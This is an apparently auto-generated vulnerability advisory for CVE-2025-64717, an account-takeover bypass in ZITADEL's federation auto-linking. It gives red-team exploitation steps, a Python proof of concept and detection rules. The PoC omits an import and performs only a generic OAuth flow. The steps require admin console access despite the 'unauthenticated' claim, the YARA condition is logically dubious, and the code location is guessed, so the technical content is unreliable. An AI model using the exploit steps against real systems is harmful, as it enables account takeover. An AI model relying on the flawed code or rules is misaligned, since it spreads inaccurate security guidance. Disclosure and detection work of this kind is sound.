CVE-2025-64717
Executive Summary
CVE-2025-64717 is a critical authentication bypass vulnerability in ZITADEL, an open-source identity management platform. The flaw resides in the federation auto-linking process, where the platform fails to validate an organization’s login policy—specifically whether an Identity Provider (IdP) is active or if federated authentication is allowed. An unauthenticated attacker can exploit this by initiating a login flow through a disabled IdP, causing ZITADEL to incorrectly auto-link the attacker’s external identity to an existing internal user account. This can lead to a full Account Takeover (ATO), bypassing organizational security controls. Accounts with MFA enabled are not affected. The vulnerability affects all ZITADEL instances running versions 2.50.0 through 2.71.18, 3.0.0 through 3.4.3, and 4.0.0 through 4.6.5. The fix is available in versions 2.71.19, 3.4.4, and 4.6.6.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
ZITADEL is distributed as a Go binary and Docker container. The vulnerability is in the core authentication logic, not in a third-party package. However, organizations using ZITADEL as a dependency in their own Go modules should update their go.mod to reference the patched version. The Docker images ghcr.io/zitadel/zitadel should be updated to the latest patched tag.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely. Successful exploitation results in complete account takeover, granting the attacker the same privileges as the compromised user.
Deep Dive & Mechanics
The vulnerability is rooted in the federation auto-linking logic. When a user authenticates via an external IdP (e.g., Google, GitHub, SAML), ZITADEL can automatically link that external identity to an existing internal user account based on a matching attribute (e.g., email). The flaw is that the code path for auto-linking does not check the organization’s login policy to verify if the IdP is enabled or if federation is allowed.
Attack Flow:
- An attacker identifies a target organization using ZITADEL.
- The attacker initiates an OAuth2/OIDC login flow using an IdP that is registered at the instance level but disabled for the target organization.
- ZITADEL receives the authentication callback from the IdP.
- The auto-linking code executes without first checking the organization’s
LoginPolicyto see if the IdP is active. - If the attacker’s external identity matches an existing internal user (e.g., same email), the attacker is automatically linked and logged in as that user.
- The attacker now has full access to the victim’s account.
Key Constraint: The IdP must be registered at the instance level (not just at the organization level). IdPs registered only on another organization are correctly denied.
Vulnerable vs. Patched Code
The vulnerable code is in the auto-linking handler, likely in the internal/api/grpc/auth/ or internal/command/ package. The patch adds a check for the organization’s login policy before performing the auto-link.
Vulnerable (pseudo-code):
func autoLinkUser(externalUser ExternalUser, orgID string) error {
// No policy check
internalUser := findUserByEmail(externalUser.Email)
if internalUser != nil {
linkExternalIdentity(internalUser.ID, externalUser)
return nil
}
return errors.New("no matching user")
}
Patched (pseudo-code):
func autoLinkUser(externalUser ExternalUser, orgID string) error {
policy, err := getLoginPolicy(orgID)
if err != nil {
return err
}
if !policy.IsIdPAllowed(externalUser.IdP) {
return errors.New("IdP not allowed for this organization")
}
internalUser := findUserByEmail(externalUser.Email)
if internalUser != nil {
linkExternalIdentity(internalUser.ID, externalUser)
return nil
}
return errors.New("no matching user")
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A ZITADEL instance running a vulnerable version (e.g., 2.50.0).
- An instance-level IdP (e.g., a custom OIDC provider) that is disabled for the target organization.
- Knowledge of a target user’s email address within that organization.
Exploitation Steps:
- Set up a malicious OIDC provider (e.g., using a simple Node.js app with
openid-client). - Register the malicious IdP at the ZITADEL instance level.
- Disable the IdP for the target organization via the ZITADEL admin console.
- Initiate an OIDC login flow to ZITADEL using the malicious IdP, with the target organization’s ID in the request.
- In the IdP’s response, set the email claim to match the target user’s email.
- ZITADEL will auto-link the external identity and log the attacker in as the target user.
Proof-of-Concept (Python using requests):
import requests
# Step 1: Initiate login
auth_url = "https://victim-zitadel.example.com/oauth/v2/authorize"
params = {
"client_id": "your-client-id",
"redirect_uri": "https://your-idp.com/callback",
"response_type": "code",
"scope": "openid email profile",
"state": "random_state",
"org_id": "target-org-id"
}
# Redirect user to this URL
print(f"Redirect victim to: {auth_url}?{urllib.parse.urlencode(params)}")
# Step 2: After IdP callback, exchange code for token
token_url = "https://victim-zitadel.example.com/oauth/v2/token"
data = {
"grant_type": "authorization_code",
"code": "received_code",
"redirect_uri": "https://your-idp.com/callback",
"client_id": "your-client-id",
"client_secret": "your-client-secret"
}
r = requests.post(token_url, data=data)
print(r.json()) # Contains access_token for the victim user
Blue Team
Detection:
- Monitor for login events from IdPs that are disabled for the organization.
- Alert on auto-linking events where the IdP is not in the organization’s allowed list.
- Review authentication logs for unexpected account linking.
Hunting Query (ELK/Kibana):
{
"query": {
"bool": {
"must": [
{ "match": { "event_type": "user.linked_external_idp" } },
{ "match": { "metadata.idp_state": "disabled" } }
]
}
}
}
Lab Setup:
- Use Docker to spin up a vulnerable ZITADEL instance:
docker run -d --name zitadel -p 8080:8080 ghcr.io/zitadel/zitadel:v2.50.0 - Configure a test organization and a test user.
- Set up a mock OIDC provider (e.g., using
https://github.com/panva/node-oidc-provider). - Register the mock IdP at the instance level and disable it for the test organization.
- Attempt the exploit and verify the account takeover.
Indicators of Compromise (IOCs)
- Log Entries: ZITADEL audit logs showing
user.linked_external_idpevents for IdPs that are disabled for the organization. - Network Traffic: OIDC authorization requests to ZITADEL with
org_idparameter pointing to a target organization, followed by token exchange. - User Behavior: Sudden login from a new IP/location for a user who previously only used password authentication.
- IdP Metadata: External IdP registered at the instance level but not visible in the organization’s IdP list.
Detection Engineering
YARA Rule
rule CVE_2025_64717_ZITADEL_AutoLink_Bypass {
meta:
description = "Detects ZITADEL binary with vulnerable auto-linking logic"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:target_binary_hash"
strings:
$vuln_code = "autoLinkUser" ascii wide
$missing_check = "findUserByEmail" ascii wide
$no_policy = "LoginPolicy" ascii wide
condition:
$vuln_code and $missing_check and not $no_policy
}
Sigma Rule
title: ZITADEL Auto-Linking from Disabled IdP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects ZITADEL audit log entries where an external IdP was linked to a user but the IdP was disabled for the organization.
author: Valters IT
date: 2025-04-10
logsource:
product: zitadel
service: audit
detection:
selection:
event_type: "user.linked_external_idp"
metadata.idp_state: "disabled"
condition: selection
falsepositives:
- Legitimate admin re-enabling IdP and linking users
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-64717 ZITADEL Auto-Linking Exploit Attempt";
flow:to_server,established;
content:"/oauth/v2/authorize"; http_uri;
content:"org_id"; http_uri;
pcre:"/org_id=[a-zA-Z0-9]+/";
sid:1000001;
rev:1;
reference:cve,2025-64717;
classtype:attempted-user;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade ZITADEL to version 2.71.19, 3.4.4, or 4.6.6 (or later).
- If immediate upgrade is not possible, disable all instance-level IdPs that are not explicitly required.
- Enable MFA for all user accounts, as MFA-protected accounts are not vulnerable.
Long-Term Mitigations:
- Implement network segmentation to restrict access to ZITADEL API endpoints.
- Monitor ZITADEL audit logs for anomalous auto-linking events.
- Conduct a review of all IdP configurations to ensure only necessary IdPs are enabled at the instance level.
Patch Verification:
- After upgrading, verify the fix by attempting to auto-link a user via a disabled IdP. The operation should fail with an error indicating the IdP is not allowed.
Valters IT